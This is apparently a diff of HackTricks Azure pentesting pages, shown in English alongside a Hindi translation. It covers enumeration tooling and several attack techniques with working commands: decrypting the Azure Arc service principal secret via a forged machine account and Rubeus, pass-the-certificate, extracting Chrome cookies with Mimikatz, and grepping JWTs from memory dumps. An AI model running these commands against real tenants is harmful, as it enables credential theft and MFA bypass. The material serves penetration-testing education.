[**दस्तावेज़ीकरण**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) से निर्देश:
1. यदि अभी तक स्थापित नहीं है तो `brew` स्थापित करें:
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```
2. Install the latest stable release of PowerShell:
2. PowerShell का नवीनतम स्थिर संस्करण स्थापित करें:
```sh
brew install powershell/tap/powershell
```
3. Run PowerShell:
3. PowerShell चलाएँ:
```sh
pwsh
```
4. Update:
4. अपडेट:
```sh
brew update
brew upgrade powershell
```
## Main Enumeration Tools
## मुख्य एनुमेरेशन टूल्स
### az cli
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts.
[**Azure कमांड-लाइन इंटरफेस (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) एक क्रॉस-प्लेटफ़ॉर्म टूल है जो Python में लिखा गया है, जो (अधिकतर) Azure और Entra ID संसाधनों का प्रबंधन और प्रशासन करने के लिए है। यह Azure से कनेक्ट करता है और कमांड लाइन या स्क्रिप्ट के माध्यम से प्रशासनिक आदेशों को निष्पादित करता है।
Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
[**स्थापना निर्देशों के लिए इस लिंक का पालन करें¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install)
Commands in Azure CLI are structured using a pattern of: `az <service> <action> <parameters>`
Azure CLI में आदेशों को इस पैटर्न का उपयोग करके संरचित किया गया है: `az <service> <action> <parameters>`
#### Debug | MitM az cli
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
#### डिबग | MitM az cli
पैरामीटर **`--debug`** का उपयोग करके यह देखना संभव है कि टूल **`az`** सभी अनुरोध भेज रहा है:
```bash
az account management-group list --output table --debug
```
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
@@ -90,42 +79,37 @@ export HTTP_PROXY="http://127.0.0.1:8080"
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
### Az PowerShell
Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line.
Azure PowerShell एक मॉड्यूल है जिसमें Azure संसाधनों को सीधे PowerShell कमांड लाइन से प्रबंधित करने के लिए cmdlets होते हैं।
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
[**स्थापना निर्देशों**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell) के लिए इस लिंक का पालन करें।
Commands in Azure PowerShell AZ Module are structured like: `<Action>-Az<Service> <parameters>`
Azure PowerShell AZ मॉड्यूल में कमांड इस प्रकार संरचित होते हैं: `<Action>-Az<Service> <parameters>`
#### Debug | MitM Az PowerShell
Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
पैरामीटर **`-Debug`** का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोधों को भेज रहा है:
```bash
Get-AzResourceGroup -Debug
```
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
### Microsoft Graph PowerShell
Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features.
Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत क्वेरी का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है।
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
@@ -134,20 +118,14 @@ Commands in Microsoft Graph PowerShell are structured like: `<Action>-Mg<Service
#### Debug Microsoft Graph PowerShell
Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
```bash
Get-MgUser -Debug
```
### ~~**AzureAD Powershell**~~
The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID.
Azure Active Directory (AD) मॉड्यूल, जो अब **अवशिष्ट** है, Azure AD संसाधनों को प्रबंधित करने के लिए Azure PowerShell का हिस्सा है। यह Entra ID में उपयोगकर्ताओं, समूहों और अनुप्रयोग पंजीकरणों को प्रबंधित करने के लिए cmdlets प्रदान करता है।
> [!TIP]
> This is replaced by Microsoft Graph PowerShell
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
> इसे Microsoft Graph PowerShell द्वारा प्रतिस्थापित किया गया है
[**स्थापना निर्देशों**](https://www.powershellgallery.com/packages/AzureAD) के लिए इस लिंक का पालन करें।

View File

@@ -2,19 +2,18 @@
{{#include ../../../banners/hacktricks-training.md}}
### Identifying the Issues
### समस्याओं की पहचान करना
Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1.
Azure Arc नए आंतरिक सर्वरों (जुड़े हुए डोमेन सर्वर) को Azure Arc में Group Policy Object विधि का उपयोग करके एकीकृत करने की अनुमति देता है। इसे सुविधाजनक बनाने के लिए, Microsoft एक तैनाती उपकरण प्रदान करता है जो ऑनबोर्डिंग प्रक्रिया को प्रारंभ करने के लिए आवश्यक है। ArcEnableServerGroupPolicy.zip फ़ाइल के अंदर, निम्नलिखित स्क्रिप्टें पाई जा सकती हैं: DeployGPO.ps1, EnableAzureArc.ps1, और AzureArcDeployment.psm1
When executed, the DeployGPO.ps1 script performs the following actions:
जब इसे निष्पादित किया जाता है, तो DeployGPO.ps1 स्क्रिप्ट निम्नलिखित कार्य करती है:
1. Creates the Azure Arc Servers Onboarding GPO within the local domain.
2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package.
1. स्थानीय डोमेन के भीतर Azure Arc Servers Onboarding GPO बनाती है।
2. EnableAzureArc.ps1 ऑनबोर्डिंग स्क्रिप्ट को ऑनबोर्डिंग प्रक्रिया के लिए बनाए गए निर्दिष्ट नेटवर्क शेयर में कॉपी करती है, जिसमें Windows इंस्टॉलर पैकेज भी शामिल है।
When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script.
An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments.
इस स्क्रिप्ट को चलाते समय, सिस्टम प्रशासकों को दो मुख्य पैरामीटर प्रदान करने की आवश्यकता होती है: **ServicePrincipalId** और **ServicePrincipalClientSecret**। इसके अतिरिक्त, इसे डोमेन, शेयर होस्ट करने वाले सर्वर का FQDN, और शेयर नाम जैसे अन्य पैरामीटर की भी आवश्यकता होती है। स्क्रिप्ट को टेनेट ID, संसाधन समूह, और अन्य आवश्यक जानकारी भी प्रदान करनी होती है।
DPAPI-NG एन्क्रिप्शन का उपयोग करके निर्दिष्ट शेयर पर AzureArcDeploy निर्देशिका में एक एन्क्रिप्टेड सीक्रेट उत्पन्न किया जाता है। एन्क्रिप्टेड सीक्रेट को encryptedServicePrincipalSecret नामक फ़ाइल में संग्रहीत किया जाता है। इसका प्रमाण DeployGPO.ps1 स्क्रिप्ट में पाया जा सकता है, जहां एन्क्रिप्शन को $descriptor और $ServicePrincipalSecret को इनपुट के रूप में कॉल करके ProtectBase64 द्वारा किया जाता है। डिस्क्रिप्टर में Domain Computer और Domain Controller समूह SIDs शामिल होते हैं, यह सुनिश्चित करते हुए कि ServicePrincipalSecret केवल Domain Controllers और Domain Computers सुरक्षा समूहों द्वारा डिक्रिप्ट किया जा सकता है, जैसा कि स्क्रिप्ट टिप्पणियों में उल्लेख किया गया है।
```powershell
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
@@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
```
### Exploit
We have the follow conditions:
हमारे पास निम्नलिखित शर्तें हैं:
1. We have successfully penetrated the internal network.
2. We have the capability to create or assume control of a computer account within Active Directory.
3. We have discovered a network share containing the AzureArcDeploy directory.
There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations.
1. हम आंतरिक नेटवर्क में सफलतापूर्वक प्रवेश कर चुके हैं।
2. हमारे पास Active Directory के भीतर एक कंप्यूटर खाते को बनाने या उस पर नियंत्रण करने की क्षमता है।
3. हमने AzureArcDeploy निर्देशिका को समाहित करने वाले एक नेटवर्क शेयर का पता लगाया है।
AD वातावरण में एक मशीन खाते को प्राप्त करने के कई तरीके हैं। सबसे सामान्य तरीकों में से एक मशीन खाता कोटा का शोषण करना है। एक और तरीका कमजोर ACLs या विभिन्न अन्य गलत कॉन्फ़िगरेशन के माध्यम से मशीन खाते से समझौता करना है।
```powershell
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe.
एक बार मशीन खाता प्राप्त हो जाने पर, इस खाते का उपयोग करके प्रमाणीकरण करना संभव है। हम या तो netonly ध्वज के साथ runas.exe कमांड का उपयोग कर सकते हैं या Rubeus.exe के साथ पास-दी-टिकट का उपयोग कर सकते हैं।
```powershell
runas /user:fake01$ /netonly powershell
```
@@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell
```powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret.
हमारी कंप्यूटर खाता के लिए TGT को मेमोरी में संग्रहीत करके, हम सेवा प्रमुख गुप्त को डिक्रिप्ट करने के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं।
```powershell
Import-Module .\AzureArcDeployment.psm1
@@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs
```
वैकल्पिक रूप से, हम [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) का उपयोग कर सकते हैं।
Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
इस बिंदु पर, हम ArcInfo.json फ़ाइल से Azure से कनेक्ट करने के लिए आवश्यक शेष जानकारी एकत्र कर सकते हैं, जो कि encryptedServicePrincipalSecret फ़ाइल के समान नेटवर्क शेयर पर संग्रहीत है। इस फ़ाइल में विवरण शामिल हैं जैसे: TenantId, servicePrincipalClientId, ResourceGroup, और अधिक। इस जानकारी के साथ, हम Azure CLI का उपयोग करके समझौता किए गए सेवा प्रमुख के रूप में प्रमाणीकरण कर सकते हैं।
At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal.
## References
## संदर्भ
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -6,21 +6,21 @@
### Azure CLI (Command-Line Interface)
Tokens and sensitive data are stored locally by Azure CLI, raising security concerns:
Tokens और संवेदनशील डेटा Azure CLI द्वारा स्थानीय रूप से संग्रहीत किए जाते हैं, जिससे सुरक्षा चिंताएँ उत्पन्न होती हैं:
1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\<username>\.Azure`.
2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details.
3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as:
- Executed commands with credentials embedded.
- URLs accessed using tokens, potentially revealing sensitive information.
1. **Access Tokens**: `accessTokens.json` में स्पष्ट पाठ के रूप में संग्रहीत होते हैं, जो `C:\Users\<username>\.Azure` पर स्थित है।
2. **Subscription Information**: `azureProfile.json`, उसी निर्देशिका में, सब्सक्रिप्शन विवरण रखता है।
3. **Log Files**: `.azure` के भीतर `ErrorRecords` फ़ोल्डर में लॉग हो सकते हैं जिनमें उजागर क्रेडेंशियल्स होते हैं, जैसे:
- क्रेडेंशियल्स के साथ निष्पादित कमांड।
- टोकन का उपयोग करके एक्सेस की गई URLs, जो संवेदनशील जानकारी प्रकट कर सकती हैं।
### Azure PowerShell
Azure PowerShell also stores tokens and sensitive data, which can be accessed locally:
Azure PowerShell भी टोकन और संवेदनशील डेटा को संग्रहीत करता है, जिसे स्थानीय रूप से एक्सेस किया जा सकता है:
1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\<username>\.Azure`, stores access tokens in plaintext.
2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`.
3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access.
1. **Access Tokens**: `TokenCache.dat`, जो `C:\Users\<username>\.Azure` पर स्थित है, स्पष्ट पाठ में एक्सेस टोकन संग्रहीत करता है।
2. **Service Principal Secrets**: ये `AzureRmContext.json` में बिना एन्क्रिप्टेड संग्रहीत होते हैं।
3. **Token Saving Feature**: उपयोगकर्ताओं के पास `Save-AzContext` कमांड का उपयोग करके टोकन को स्थायी बनाने की क्षमता होती है, जिसे अनधिकृत एक्सेस से बचने के लिए सावधानी से उपयोग किया जाना चाहिए।
## Automatic Tools to find them
@@ -29,15 +29,11 @@ Azure PowerShell also stores tokens and sensitive data, which can be accessed lo
## Security Recommendations
Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by:
संवेदनशील डेटा के स्पष्ट पाठ में संग्रहीत होने को देखते हुए, इन फ़ाइलों और निर्देशिकाओं को सुरक्षित करना महत्वपूर्ण है:
- Limiting access rights to these files.
- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes.
- Employing encryption for sensitive files where possible.
- Educating users about the risks and best practices for handling such sensitive information.
- इन फ़ाइलों के लिए एक्सेस अधिकारों को सीमित करना।
- अनधिकृत एक्सेस या अप्रत्याशित परिवर्तनों के लिए इन निर्देशिकाओं की नियमित रूप से निगरानी और ऑडिट करना।
- जहां संभव हो, संवेदनशील फ़ाइलों के लिए एन्क्रिप्शन का उपयोग करना।
- उपयोगकर्ताओं को ऐसे संवेदनशील जानकारी को संभालने के लिए जोखिमों और सर्वोत्तम प्रथाओं के बारे में शिक्षित करना।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,40 +4,32 @@
## Pass the Certificate (Azure)
In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism.
Azure में जुड़े मशीनों पर, एक मशीन से दूसरी मशीन पर प्रमाणपत्रों का उपयोग करके प्रमाणित करना संभव है जो **Azure AD CA द्वारा आवश्यक उपयोगकर्ता के लिए जारी किए जाने चाहिए** (विषय के रूप में) जब दोनों मशीनें **NegoEx** प्रमाणीकरण तंत्र का समर्थन करती हैं।
In super simplified terms:
बहुत सरल शब्दों में:
- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**.
- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD**
- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**.
- कनेक्शन शुरू करने वाली मशीन (क्लाइंट) को **उपयोगकर्ता के लिए Azure AD से एक प्रमाणपत्र की आवश्यकता होती है**
- क्लाइंट एक JSON वेब टोकन (JWT) हेडर बनाता है जिसमें PRT और अन्य विवरण होते हैं, इसे व्युत्पन्न कुंजी (सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके) का उपयोग करके साइन करता है और **इसे Azure AD को भेजता है**
- Azure AD JWT हस्ताक्षर को क्लाइंट सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके सत्यापित करता है, PRT की वैधता की जांच करता है और **प्रतिक्रिया** में **प्रमाणपत्र** भेजता है।
In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack:
इस परिदृश्य में और [**Pass the PRT**](pass-the-prt.md) हमले के लिए आवश्यक सभी जानकारी प्राप्त करने के बाद:
- Username
- Tenant ID
- उपयोगकर्ता नाम
- टेनेट आईडी
- PRT
- Security context
- Derived Key
It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
- सुरक्षा संदर्भ
- व्युत्पन्न कुंजी
उपकरण [**PrtToCert**](https://github.com/morRubin/PrtToCert)** के लिए उपयोगकर्ता के लिए **P2P प्रमाणपत्र** **मांगना संभव है**:
```bash
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
```
The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
सर्टिफिकेट्स की अवधि PRT के समान होगी। सर्टिफिकेट का उपयोग करने के लिए, आप पायथन टूल [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) का उपयोग कर सकते हैं जो **remote machine** पर **authenticate** करेगा, **PSEXEC** चलाएगा और पीड़ित मशीन पर **CMD** खोलेगा। इससे हमें Mimikatz का फिर से उपयोग करने की अनुमति मिलेगी ताकि हम किसी अन्य उपयोगकर्ता का PRT प्राप्त कर सकें।
```bash
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
```
## References
- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
- Pass the Certificate कैसे काम करता है इसके बारे में अधिक जानकारी के लिए मूल पोस्ट देखें [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,9 +4,9 @@
## Why Cookies?
Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate.
ब्राउज़र **cookies** प्रमाणीकरण और MFA को **बायपास** करने का एक शानदार तंत्र हैं। क्योंकि उपयोगकर्ता पहले ही एप्लिकेशन में प्रमाणीकरण कर चुका है, सत्र **cookie** का उपयोग उस उपयोगकर्ता के रूप में **डेटा** तक पहुँचने के लिए किया जा सकता है, बिना पुनः प्रमाणीकरण की आवश्यकता के।
You can see where are **browser cookies located** in:
आप देख सकते हैं कि **ब्राउज़र कुकीज़ कहाँ स्थित हैं**:
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
@@ -14,28 +14,22 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
## Attack
The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in:
चुनौतीपूर्ण भाग यह है कि वे **cookies एन्क्रिप्टेड** हैं **उपयोगकर्ता** के लिए Microsoft Data Protection API (**DPAPI**) के माध्यम से। यह एन्क्रिप्टेड है [उपयोगकर्ता से जुड़े क्रिप्टोग्राफिक कुंजी](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) का उपयोग करके जिनसे कुकीज़ संबंधित हैं। आप इसके बारे में अधिक जानकारी यहाँ पा सकते हैं:
{{#ref}}
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
{{#endref}}
With Mimikatz in hand, I am able to **extract a users cookies** even though they are encrypted with this command:
Mimikatz के साथ, मैं इस कमांड के साथ **एक उपयोगकर्ता की कुकीज़** निकालने में सक्षम हूँ, भले ही वे एन्क्रिप्टेड हों:
```bash
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
```
For Azure, हम प्रमाणीकरण कुकीज़ के बारे में चिंतित हैं जिनमें **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, और **`ESTSAUTHLIGHT`** शामिल हैं। ये वहाँ हैं क्योंकि उपयोगकर्ता हाल ही में Azure पर सक्रिय रहा है।
For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately.
Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated.
बस login.microsoftonline.com पर जाएं और कुकी **`ESTSAUTHPERSISTENT`** (जो “Stay Signed In” विकल्प द्वारा उत्पन्न होती है) या **`ESTSAUTH`** जोड़ें। और आप प्रमाणित हो जाएंगे।
## References
- [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,10 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
**जांचें:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,10 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
**पोस्ट देखें** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) हालांकि इसी विषय पर एक और पोस्ट [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) पर मिल सकती है।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,16 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Basic Information**
## **बुनियादी जानकारी**
As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=OHKZkXC4Duw) में समझाया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) **स्मृति में स्पष्ट-टेक्स्ट में एक्सेस टोकन स्टोर कर सकते हैं**। इसलिए केवल **प्रक्रिया की** **स्मृति** को **डंप** करना और **JWT टोकन के लिए grep करना** आपको क्लाउड में MFA को बायपास करते हुए पीड़ित के कई संसाधनों तक पहुंच प्रदान कर सकता है।
Steps:
1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output
3. Find the tokens that interest you the most and run tools over them:
चरण:
1. अपने पसंदीदा टूल के साथ EntraID उपयोगकर्ता के साथ समन्वयित एक्सेल प्रक्रियाओं को डंप करें।
2. चलाएँ: `string excel.dmp | grep 'eyJ0'` और आउटपुट में कई टोकन खोजें
3. उन टोकनों को खोजें जो आपको सबसे अधिक रुचिकर लगते हैं और उनके ऊपर टूल चलाएँ:
```bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
@@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sit
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
```
**Note that these kind of access tokens can be also found inside other processes.**
**ध्यान दें कि इस प्रकार के एक्सेस टोकन अन्य प्रक्रियाओं के अंदर भी पाए जा सकते हैं।**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,10 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
टेस्ट शुरू करने के लिए आपके पास **सदस्यता पर Reader अनुमतियों के साथ एक उपयोगकर्ता** और **AzureAD में Global Reader भूमिका** के साथ पहुंच होनी चाहिए। यदि फिर भी आप **Storage खातों की सामग्री तक पहुंचने में असमर्थ हैं** तो आप इसे **Storage Account Contributor भूमिका** के साथ ठीक कर सकते हैं।
{{#include ../../banners/hacktricks-training.md}}